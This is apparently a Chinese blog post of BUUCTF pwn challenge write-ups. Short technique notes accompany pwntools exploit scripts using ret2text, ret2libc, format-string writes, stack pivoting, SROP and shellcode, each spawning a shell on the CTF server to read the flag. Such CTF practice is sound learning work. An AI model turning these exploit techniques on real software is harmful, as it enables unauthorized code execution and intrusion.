BUUCTF二进制漏洞-1
64位前几个参数:rdi, rsi, rdx, rcx, r8, r9
test_your_nc
连上之后直接cat flag即可。
rip
简单的ret2text。
gets()存在栈溢出,可以找到fun()函数执行system("/bin/sh").
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote("node4.buuoj.cn" , 25327 ) payload = b'a' * (0xf + 8 ) + p64(0x401186 +1 ) p.sendline(payload) p.sendline(b'cat flag\n' ) p.interactive()
这里的+1据百度是为了配合更新之后的buu环境。在本地不+1也是可以打通的。
warmup_csaw_2016
简单的ret2text。
这道题它虽然打印了危险函数的地址,但是并没有开启PIE。所以照常写。
1 2 3 4 5 6 7 8 from pwn import *p = remote("node4.buuoj.cn" , 26638 ) payload = b'a' * (0x40 + 8 ) + p64(0x40060d ) p.sendline(payload) p.interactive()
ciscn_2019_n_1
栈溢出修改栈上的值。
1 2 3 4 5 6 7 8 9 from pwn import *p = remote('node4.buuoj.cn' , 25478 ) num = 0x41348000 p.sendline(b'a' * (0x30 - 4 ) + p64(num)) p.interactive()
pwn1_sctf_2016
简单的ret2text。
有NX没PIE,虽然限制了输入的长度,但是程序会将输入里的I都替换成you,有栈溢出的可能。
1 2 3 4 5 6 7 8 from pwn import *p = remote("node4.buuoj.cn" , 26895 ) payload = b'a' + b'I' * 21 + p32(0x8048F0D ) p.sendline(payload) p.interactive()
jarvisoj_level0
简单的ret2text。
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote("node4.buuoj.cn" , 25991 ) payload = b'a' * (0x80 + 8 ) + p64(0x400596 ) p.sendline(payload) p.sendline(b'cat flag\n' ) p.interactive()
[第五空间2019 决赛]PWN5
简单的格式化字符串漏洞。
有canary有NX,栈溢出困难,考虑格式化字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *p = remote("node4.buuoj.cn" , 26997 ) payload = b'%12$nxxx' + p32(0x0804C044 ) p.recvuntil(b'your name:' ) p.sendline(payload) p.recvuntil(b'your passwd:' ) p.sendline(b'0' ) p.sendline(b'cat flag\n' ) p.interactive()
ciscn_2019_c_1
好尼玛难的ret2libc,也许是因为第一次做吧
64位程序调用函数时的第一个参数由rdi传递。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *attachment = ELF('./attachment' ) p = remote('node4.buuoj.cn' , 27271 ) puts_plt = attachment.plt['puts' ] puts_got = attachment.got['puts' ] encrypt = attachment.symbols['encrypt' ] pop_rdi_ret = 0x400c83 ret = 0x4006b9 p.sendlineafter('Input your choice!\n' , b'1' ) payload = b'a' * 0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(encrypt) p.sendlineafter('Input your Plaintext to be encrypted\n' , payload) p.recvline() p.recvline() puts_addr = u64(p.recvline().strip().ljust(8 , b'\x00' )) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) payload = b'a' * 0x58 + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) p.sendlineafter('encrypted\n' , payload) p.sendline(b'cat flag\n' ) p.interactive()
这道题如果按照ctf-wiki上的泄露__libc_start_main的got表地址是打不通的。。。
ciscn_2019_n_8
栈溢出,保护开得很全
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p = remote('node4.buuoj.cn' , 29515 ) attachment = ELF('./ciscn_2019_n_8' ) payload = b'\x11\x00\x00\x00' * 14 p.sendline(payload) p.sendline(b'cat flag\n' ) p.interactive()
jarvisoj_level2
简单的ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *p = remote('node4.buuoj.cn' , 28441 ) attachment = ELF('./level2' ) binsh_addr = 0x0804A024 system_plt = 0x08048320 payload = b'a' * (0x88 + 4 ) + p32(system_plt) + b'dead' + p32(binsh_addr) p.sendline(payload) p.sendline(b'cat flag\n' ) p.interactive()
bjdctf_2020_babystack
简单的ret2text。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p = remote('node4.buuoj.cn' , 29381 ) attachment = ELF('./bjdctf_2020_babystack' ) backdoor = 0x4006E6 p.sendlineafter('[+]Please input the length of your name:' , b'99' ) payload = b'a' * (0x10 + 8 ) + p64(backdoor) p.sendlineafter("[+]What's u name?" , payload) p.sendline(b'cat flag\n' ) p.interactive()
get_started_3dsctf_2016
奇怪的ret2text。
不过这题很神奇,据百度,需要给它一个正常退出程序的地址,不然程序会崩。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *p = remote('node4.buuoj.cn' , 28077 ) attachment = ELF('./get_started_3dsctf_2016' ) backdoor = 0x080489A0 exit = 0x0804E6A0 a1 = 0x308CD64F a2 = 0x195719D1 payload = b'a' * (0x38 ) + p32(backdoor) + p32(exit) + p32(a1) + p32(a2) p.sendline(payload) p.interactive()
[OGeek2019]babyrop
更复杂的ret2libc。
先用’\x00’绕过strlen()函数,再将buf[7]设为’\xff’便于溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *p = remote('node4.buuoj.cn' , 28640 ) attachment = ELF('./pwn' ) write_plt = attachment.plt['write' ] write_got = attachment.got['write' ] main = 0x08048825 payload = b'\x00' + b'\xff' * 8 p.sendline(payload) payload = b'a' * (0xe7 + 4 ) + p32(write_plt) + p32(main) + p32(1 ) + p32(write_got) + p32(4 ) p.sendlineafter(b'Correct\n' , payload) write_addr = u32(p.recv(4 )) libc = ELF('./libc-2.23.so' ) libc_base = write_addr - libc.symbols['write' ] system_addr = libc_base + libc.symbols['system' ] binsh_addr = libc_base + libc.search(b'/bin/sh' ).__next__() payload = b'\x00' + b'\xff' * 8 p.sendline(payload) payload = b'a' * (0xe7 + 4 ) + p32(system_addr) + b'dead' + p32(binsh_addr) p.sendlineafter(b'Correct\n' , payload) p.sendline(b'cat flag\n' ) p.interactive()
这道题的libc要用它给的,用LibcSearcher搜出来的打不通。。。
jarvisoj_level2_x64
简单的ewr2libc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p = remote('node4.buuoj.cn' , 25104 ) attachment = ELF('./level2_x64' ) binsh_addr = 0x0000000000600A90 pop_rdi_ret = 0x00000000004006b3 system_plt = 0x00000000004004c0 payload = b'a' * (128 + 8 ) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_plt) p.sendline(payload) p.sendline(b'cat flag\n' ) p.interactive()
[HarekazeCTF2019]baby_rop
简单的ret2libc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p = remote('node4.buuoj.cn' , 27443 ) attachment = ELF('./babyrop' ) binsh_addr = 0x0000000000601048 system_plt = 0x0000000000400490 pop_rdi_ret = 0x0000000000400683 payload = b'a' * 0x18 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_plt) p.sendline(payload) p.sendline(b'cat home/babyrop/flag\n' ) p.interactive()
(我们要强烈谴责这种藏flag的行为)
ciscn_2019_en_2
与ciscn_2019_c_1完全一样。
ciscn_2019_n_5
ret2shellcode总是报错,所以用ret2libc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from LibcSearcher import *p = remote('node4.buuoj.cn' , 26133 ) attachment = ELF('./ciscn_2019_n_5' ) ret = 0x4004c9 pop_rdi_ret = 0x400713 puts_plt = attachment.plt['puts' ] puts_got = attachment.got['puts' ] main = 0x400636 p.sendlineafter(b'tell me your name' , b'1' ) payload = b'a' * (0x20 + 8 ) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendlineafter(b'What do you want to say to me?' , payload) p.recv() puts_addr = u64(p.recvuntil(b'\n' ).strip().ljust(8 , b'\x00' )) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) bin_sh_addr = libc_base + libc.dump('str_bin_sh' ) p.sendlineafter(b'tell me your name' , b'1' ) payload = b'a' * (0x20 + 8 ) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) p.sendlineafter(b'What do you want to say to me?' , payload) p.sendline(b'cat flag\n' ) p.interactive()
not_the_same_3dsctf_2016
稍难的ret2text。
get_secret()函数中只有写flag的步骤,没有输出的步骤。需要调用一下printf()函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *p = remote('node4.buuoj.cn' , 28017 ) attachment = ELF('./not_the_same_3dsctf_2016' ) get_secret = 0x080489A0 main = 0x080489E0 printf = 0x0804F0A0 flag = 0x080ECA2D exit = 0x0804E660 payload = b'a' * 0x2d + p32(get_secret) + p32(main) p.sendline(payload) payload = b'a' * 0x2d + p32(printf) + p32(exit) + p32(flag) p.sendline(payload) p.sendline(b'cat flag\n' ) p.interactive()
others_shellcode
连上就行。
ciscn_2019_ne_5
strcpy()函数没检查终止,可以溢出。
ret2text。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *p = remote('node4.buuoj.cn' , 29537 ) attachment = ELF('./ciscn_2019_ne_5' ) sysyem_plt = 0x080484D0 sh = 0x80482EA p.sendlineafter(b'Please input admin password:' , b'administrator' ) p.sendlineafter(b'0.Exit\n:' , b'1' ) p.sendlineafter(b'Please input new log info:' , b'a' * (0x48 + 4 ) + p32(sysyem_plt) + b'dead' + p32(sh)) p.sendline(b'4' ) p.sendline(b'cat flag\n' ) p.interactive()
想试试ret2libc但是失败了。。。
铁人三项(第五赛区)_2018_rop
ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from LibcSearcher import *p = remote('node4.buuoj.cn' , 29927 ) attachment = ELF('./2018_rop' ) write_plt = attachment.plt['write' ] write_got = attachment.got['write' ] main = attachment.symbols['main' ] payload = b'a' * 140 + p32(write_plt) + p32(main) + p32(1 ) + p32(write_got) + p32(4 ) p.sendline(payload) write_addr = u32(p.recv(4 )) libc = LibcSearcher('write' , write_addr) libc_base = write_addr - libc.dump('write' ) system_addr = libc_base + libc.dump('system' ) str_bin_sh = libc_base + libc.dump('str_bin_sh' ) payload = b'a' * 140 + p32(system_addr) + b'dead' + p32(str_bin_sh) p.sendline(payload) p.sendline(b'cat flag\n' ) p.interactive()
这道题的libc只有选1才能跑出来。
bjdctf_2020_babyrop
ret2libc。注意接受消息的长度。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *from LibcSearcher import *p = remote('node4.buuoj.cn' , 29294 ) attachment = ELF('./bjdctf_2020_babyrop' ) puts_plt = attachment.plt['puts' ] puts_got = attachment.got['puts' ] main = attachment.symbols['main' ] pop_rdi_ret = 0x0000000000400733 payload = b'a' * 40 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendlineafter(b'Pull up your sword and tell me u story!\n' , payload) puts_addr = u64(p.recvuntil(b'\n' ).strip().ljust(8 , b'\x00' )) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) str_bin_sh = libc_base + libc.dump('str_bin_sh' ) payload = b'a' * 40 + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system_addr) p.sendlineafter(b'Pull up your sword and tell me u story!\n' , payload) p.sendline(b'cat flag\n' ) p.interactive()
bjdctf_2020_babystack2
ret2text+整型溢出
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p = remote('node4.buuoj.cn' , 27414 ) backdoor = 0x400726 p.sendlineafter(b'[+]Please input the length of your name:\n' , b'-1' ) p.sendlineafter(b"[+]What's u name?\n" , b'a' * 0x18 + p64(backdoor)) p.sendline(b'cat flag\n' ) p.interactive()
jarvisoj_fm
格式化字符串漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *p = remote('node4.buuoj.cn' , 25583 ) x = 0x0804A02C payload = b'AAAA%14$nxxx' + p32(x) p.sendline(payload) p.sendline(b'cat flag\n' ) p.interactive()
ciscn_2019_es_2
栈迁移
虽然可以溢出,但是可以溢出的长度太短了,考虑对栈空间进行转移,用以塞下ROP链。
leave = mov esp, ebp; pop ebp;
ret = pop eip;
因此,我们可以通过两次leave,ret将ebp和esp转移到我们想要的地方。
通过第一组read和printf可以获取到ebp上的值。
动调可以发现ebp上的值与read(0, s, 0x30u)中的s相差0x38。
同时,因为需要进行两次leave-ret,因此第二遍payload前四位会被pop ebp用掉,构造时多加注意。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *p = remote('node4.buuoj.cn' , 25403 ) system_addr = 0x8048400 leave_ret_addr = 0x80485FD payload = b'a' * 0x27 + b'b' p.send(payload) p.recvuntil(b'b' ) ebp = u32(p.recv(4 )) s_addr = ebp - 0x38 payload = (b'dead' + p32(system_addr) + b'dead' + p32(s_addr + 16 ) + b'/bin/sh\x00' ).ljust(0x28 , b'\x00' ) + p32(s_addr) + p32(leave_ret_addr) p.sendline(payload) p.sendline(b'cat flag\n' ) p.interactive()
看雪上的大佬说:
赞!
jarvisoj_tell_me_something
ret2text
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p = remote('node4.buuoj.cn' , 27285 ) backdoor = 0x400620 payload = b'a' * 0x88 + p64(backdoor) p.sendline(payload) p.sendline(b'cat flag\n' ) p.interactive()
[HarekazeCTF2019]baby_rop2
ret2libc
这道题不知道为什么不能用printf的got,要用read的got才行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from LibcSearcher import *p = remote('node4.buuoj.cn' , 25566 ) attachment = ELF('./babyrop2' ) main = 0x400636 fmt = 0x400770 pop_rdi_ret = 0x400733 pop_rsi_r15_ret = 0x400731 printf_plt = attachment.plt['printf' ] printf_got = attachment.got['printf' ] read_got = attachment.got['read' ] payload = b'a' * 0x28 + p64(pop_rdi_ret) + p64(fmt) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0 ) + p64(printf_plt) + p64(main) p.sendline(payload) read_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) print (hex (read_addr))libc = ELF('./libc.so.6' ) libc_base = read_addr - libc.symbols['read' ] system_addr = libc_base + libc.symbols['system' ] str_bin_sh = libc_base + libc.search(b'/bin/sh' ).__next__() payload = b'a' * 0x28 + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system_addr) p.sendline(payload) p.sendline(b'cat /home/babyrop2/flag\n' ) p.interactive()
pwn2_sctf_2016
ret2libc。
这题的libc需要用BUU在FAQ中给你的,搜到的打不通。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import *p = remote('node4.buuoj.cn' , 28589 ) attachment = ELF('./pwn2_sctf_2016' ) main = 0x080485B8 fmt = 0x080486F8 printf_plt = attachment.plt['printf' ] printf_got = attachment.got['printf' ] p.sendline(b'-1' ) payload = b'a' * (0x2C + 4 ) + p32(printf_plt) + p32(main) + p32(fmt) + p32(printf_got) p.sendlineafter(b'data!\n' , payload) p.recvline() p.recvuntil(b'You said: ' ) printf_addr = u32(p.recv(4 )) print (hex (printf_addr))libc = ELF('./libc-2.23.so' ) libc_base = printf_addr - libc.symbols['printf' ] system_addr = libc_base + libc.symbols['system' ] str_bin_sh = libc_base + libc.search(b'/bin/sh' ).__next__() p.sendline(b'-1' ) payload = b'a' * (0x2c +4 ) + p32(system_addr) + p32(main) + p32(str_bin_sh) p.sendline(payload) p.recvline() p.recvline() p.recvline() p.sendline(b'cat flag\n' ) p.interactive()
jarvisoj_level3
ret2libc。
libc老老实实用人家给的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from LibcSearcher import *p = remote('node4.buuoj.cn' , 25288 ) attachment = ELF('./level3' ) write_plt = attachment.plt['write' ] write_got = attachment.got['write' ] main = attachment.symbols['main' ] payload = b'a' * (0x88 + 4 ) + p32(write_plt) + p32(main) + p32(1 ) + p32(write_got) + p32(4 ) p.sendlineafter(b'Input:\n' , payload) write_addr = u32(p.recv(4 )) libc = ELF('./libc-2.23.so' ) libc_base = write_addr - libc.symbols['write' ] system_addr = libc_base + libc.symbols['system' ] str_bin_sh = libc_base + libc.search(b'/bin/sh' ).__next__() payload = b'a' * (0x88 + 4 ) + p32(system_addr) + b'dead' + p32(str_bin_sh) p.sendlineafter(b'Input:\n' , payload) p.sendline(b'cat flag\n' ) p.interactive()
ciscn_2019_s_3
普通ROP打了一天也没打通,被迫学习SROP。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *p = remote('node4.buuoj.cn' , 25198 ) context(arch = 'amd64' , os = 'linux' ) vuln = 0x4004ED mov_rax_0F = 0x4004DA syscall = 0x400517 payload = b'/bin/sh\x00' * 2 + p64(vuln) p.send(payload) p.recv(32 ) stack = u64(p.recv(8 )) str_bin_sh = stack - 0x118 print (hex (str_bin_sh))frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = str_bin_sh frame.rsi = 0 frame.rdx = 0 frame.rsp = stack frame.rip = syscall payload = b'/bin/sh\x00' * 2 + p64(mov_rax_0F) + p64(syscall) + bytes (frame) p.sendline(payload) p.sendline(b'cat flag\n' ) p.interactive()
picoctf_2018_rop chain
ret2text
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *p = remote('node4.buuoj.cn' , 27978 ) win1 = 0x080485CB win2 = 0x080485D8 flag = 0x0804862B payload = b'a' * (0x18 + 4 ) + p32(win1) + p32(win2) + p32(flag) + p32(0xBAAAAAAD ) + p32(0xDEADBAAD ) p.sendline(payload) p.sendline(b'cat flag\n' ) p.interactive()
ez_pz_hackover_2016
memcpy函数导致栈溢出,题目输出的栈地址有执行权限,将shellcode写在那里就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(os = 'linux' , arch = 'i386' ) p = remote('node4.buuoj.cn' , 25450 ) p.recvuntil(b'Yippie, lets crash: ' ) addr = int (p.recvline()[:-1 ].decode(), 16 ) print (hex (addr))p.recvuntil(b'> ' ) payload = b'crashme\x00' + b'a' * 18 + p32(addr - 28 ) + asm(shellcraft.sh()) print (payload)print (shellcraft.sh())p.sendline(payload) p.interactive()
这个代码里的参数(那个18和28)我也不知道为什么是这俩,但是gdb调出来就是这俩。。。
babyheap_0ctf_2017
pwn你妈,不会,草。
https://blog.csdn.net/qq_41696518/article/details/126677556
https://blog.csdn.net/qq_29912475/article/details/129802716